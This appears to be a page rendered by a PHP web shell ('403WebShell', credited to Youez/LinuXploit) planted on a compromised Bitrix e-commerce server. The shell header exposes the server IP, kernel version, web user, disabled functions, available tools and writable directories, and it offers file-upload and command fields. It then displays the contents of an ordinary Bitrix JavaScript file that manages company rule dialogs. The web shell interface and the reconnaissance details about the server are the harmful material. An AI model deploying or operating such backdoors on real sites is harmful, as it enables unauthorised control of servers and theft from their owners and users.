%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.227.209.207
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/company.js
/**
 * Class BX.Sale.Company
 */
(function(window)
{
	if (!BX.Sale)
		BX.Sale = {};

	if (BX.Sale.Company)
		return;

	BX.Sale.Company =
	{
		ajaxUrl: "/bitrix/admin/sale_company_ajax.php",

		getRuleParamsHtml: function (params)
		{
			if (!params.class)
				return;

			params.params = params.params || {};
			params.ruleId = params.ruleId || 0;
			params.sort = params.sort || 100;

			ShowWaitWindow();

			var postData = {
				action: "get_rule_params_html",
				className: params.class,
				params: params.params,
				companyId: params.companyId,
				sort: params.sort,
				lang: params.lang,
				sessid: BX.bitrix_sessid()
			};

			BX.ajax({
				timeout: 30,
				method: 'POST',
				dataType: 'json',
				url: this.ajaxUrl,
				data: postData,

				onsuccess: function (result)
				{
					CloseWaitWindow();

					if (result && result.RULE_HTML && !result.ERROR)
					{
						var data = BX.processHTML(result.RULE_HTML);
						BX.Sale.Company.showRuleParamsDialog(data['HTML'], params);
						window["companyGetRuleHtmlScriptsLoadingStarted"] = false;

						//process scripts
						var scr = function (loadScripts)
						{
							if (!loadScripts)
								BX.removeCustomEvent('companyGetRuleHtmlScriptsReady', scr);

							for (var i in data['SCRIPT'])
							{
								BX.evalGlobal(data['SCRIPT'][i]['JS']);
								delete(data['SCRIPT'][i]);

								//It can be nesessary  at first to load some JS for rule form
								if (loadScripts && window["companyGetRuleHtmlScriptsLoadingStarted"])
									return;
							}
						};

						BX.addCustomEvent('companyGetRuleHtmlScriptsReady', scr);
						scr(true);
						BX.loadCSS(data['STYLE']);
					}
					else if (result && result.ERROR)
					{
						BX.debug("Error receiving rule params html: " + result.ERROR);
					}
					else
					{
						BX.debug("Error receiving rule params html!");
					}
				},

				onfailure: function ()
				{
					CloseWaitWindow();
					BX.debug("Error adding rule!");
				}
			});
		},

		showRuleParamsDialog: function (content, ruleParams)
		{
			if(ruleParams.class == '\\Bitrix\\Sale\\Services\\Company\\Restrictions\\Location')
				var width = 1030;
			else
				width = 400;

			var dialog = new BX.CDialog({
					'content': '<form id="sale-company_rule-edit-form">' +
					content +
					'</form>',
					'title': BX.message("SALE_COMPANY_RULE_TITLE") + ": " + ruleParams.title,
					'width': width,
					'height': 500,
					'resizable': true
				});

			dialog.ClearButtons();
			dialog.SetButtons([
				{
					'title': BX.message("SALE_COMPANY_RULE_SAVE"),
					'action': function ()
					{

						var form = BX("sale-company_rule-edit-form"),
							prepared = BX.ajax.prepareForm(form),
							values = !!prepared && prepared.data ? prepared.data : {};

						BX.Sale.Company.saveRule(ruleParams, values);
						this.parentWindow.Close();
					}
				},
				BX.CDialog.prototype.btnCancel
			]);

			BX.addCustomEvent(dialog, 'onWindowClose', function (dialog)
			{
				dialog.DIV.parentNode.removeChild(dialog.DIV);
			});

			dialog.Show();
			dialog.adjustSizeEx();
		},

		saveRule: function (ruleParams, values)
		{
			ShowWaitWindow();

			var params = values.RULE || {},
				postData = {
					action: "save_rule",
					params: params,
					sort: values.SORT,
					className: ruleParams.class,
					companyId: ruleParams.companyId,
					ruleId: ruleParams.ruleId,
					sessid: BX.bitrix_sessid(),
					lang: BX.message('LANGUAGE_ID')
				};

			BX.ajax({
				timeout: 30,
				method: 'POST',
				dataType: 'json',
				url: this.ajaxUrl,
				data: postData,

				onsuccess: function (result)
				{
					CloseWaitWindow();

					if (result && !result.ERROR)
					{
						if (result.HTML)
							BX.Sale.Company.insertAjaxRuleHtml(result.HTML);
					}
					else
					{
						alert(result.ERROR);
					}
				},

				onfailure: function ()
				{
					CloseWaitWindow();
				}
			});
		},

		deleteRule: function (ruleId, companyId)
		{
			if (!ruleId)
				return;

			ShowWaitWindow();

			var postData = {
				action: "delete_rule",
				ruleId: ruleId,
				companyId: companyId,
				sessid: BX.bitrix_sessid(),
				lang: BX.message('LANGUAGE_ID')
			};

			BX.ajax({
				timeout: 30,
				method: 'POST',
				dataType: 'json',
				url: this.ajaxUrl,
				data: postData,

				onsuccess: function (result)
				{
					CloseWaitWindow();

					if (result && !result.ERROR)
					{
						if (result.HTML)
							BX.Sale.Company.insertAjaxRuleHtml(result.HTML);

						if (result.ERROR)
							BX.debug("Error deleting rule: " + result.ERROR);
					}
					else
					{
						BX.debug("Error deleting rule!");
					}
				},

				onfailure: function ()
				{
					CloseWaitWindow();
					BX.debug("Error refreshing rule!");
				}
			});
		},

		insertAjaxRuleHtml: function (html)
		{
			var data = BX.processHTML(html),
				container = BX("sale-company-rules-container");

			if (!container)
				return;

			BX.loadCSS(data['STYLE']);

			container.innerHTML = data['HTML'];

			for (var i in data['SCRIPT'])
				BX.evalGlobal(data['SCRIPT'][i]['JS']);
		}
	}
})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit